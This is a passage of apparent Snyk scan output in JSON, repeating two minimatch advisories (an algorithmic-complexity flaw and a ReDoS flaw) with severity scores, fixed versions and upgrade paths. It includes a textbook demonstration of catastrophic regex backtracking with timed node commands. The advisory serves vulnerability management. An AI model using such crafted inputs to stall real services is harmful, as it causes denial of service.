"tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, 